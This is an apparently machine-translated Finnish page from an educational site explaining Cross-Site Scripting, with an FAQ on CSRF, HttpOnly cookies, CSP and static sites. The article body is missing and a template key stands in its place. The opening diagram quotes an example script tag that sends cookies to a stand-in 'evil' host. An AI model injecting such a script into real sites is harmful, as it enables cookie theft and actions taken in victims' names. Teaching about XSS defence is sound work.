trusted-site.comcomment:<script>fetch('evil', cookies)</script>script runs in victim's browserwith the site's privileges

Cross-Site Scripting (XSS)

11 min lukeaTurvallisuus

Sivustojen välinen komentosarja on haavoittuvuus, jossa hyökkääjä lisää JavaScriptiä, joka toimii toisen käyttäjän selaimessa ikään kuin se olisi osa laillista sivustoa. Vahinko vaihtelee istuntoevästeiden varastamisesta API-kutsujen tekemiseen uhrin puolesta. XSS on ollut OWASP Top 10 -listalla kahden vuosikymmenen ajan, eikä se osoita merkkejä erosta.

Artikkelin koko runko on englanniksi alla.

pages.learningArticles.cross-site-scripting.bodyHtml

Usein kysytyt kysymykset

Onko XSS edelleen ajankohtainen?
Kyllä. OWASPin viimeaikaiset tutkimukset osoittavat XSS:n lähes kaikissa verkkosovelluksissa. Nykyaikaiset puitteet ovat vähentäneet taajuutta, mutta vanhojen sovellusten, mukautetun koodin ja reunakoteloiden pitkä pyrstö pitää XSS:n yhtenä raportoiduimmista verkkohaavoittuvuuksista. Bug bounty -alustat näkevät satoja XSS-raportteja viikossa.
Mitä eroa on XSS:n ja CSRF:n välillä?
XSS ruiskuttaa haitallista koodia luotettuun sivustoon ja suorittaa sen sivuston oikeuksilla. CSRF (Cross-Site Request Forgery) huijaa uhrin selaimen tekemään pyynnön luotetulle sivustolle eri lähteestä käyttämällä uhrin istuntoa. Ne kuulostavat samanlaisilta, mutta niillä on erilaiset mekanismit ja puolustusmekanismit.
Suojaako HttpOnly-eväste XSS:ltä?
Osittain. HttpOnly estää JavaScriptiä lukemasta evästettä document.cookie-tiedoston kautta, mikä kukistaa evästeiden suodatushyökkäykset. XSS-hyötykuorma voi silti tehdä todennettuja pyyntöjä, koska selain lähettää evästeen automaattisesti – HttpOnly pysäyttää tietyn luokan vauriot, ei laajempaa hyökkäystä.
Voiko CSP poistaa XSS:n kokonaan?
Tiukka CSP (nonce-based, ei 'unsafe-inline' tai 'unsafe-eval') on lähimpänä hopealuotia. Se ei estä itse injektiota, mutta se estää ruiskutetun hyötykuorman suorittamisen. Yhdessä sovelluksessa tapahtuvan ulostulon kanssa, tiukka CSP tekee käytännön XSS-käytöstä erittäin vaikeaa.
Ovatko staattiset paikat immuuneja?
Ei kokonaan. DOM-pohjainen XSS toimii edelleen staattisilla sivustoilla, jos heidän asiakaspuolen JS käyttää URL-parametreja epäturvallisesti. Puhtaat HTML-sivustot, joissa ei ole JavaScriptiä, eivät sisällä XSS:ää. Useimmat nykyaikaiset "staattiset sivustot" käyttävät tarpeeksi JavaScriptiä, jotta XSS on mahdollinen (vaikkakin harvinainen) ongelma.
Cross-Site Scripting (XSS) selitys: jokaisen verkkosovelluksen haavoittuvuus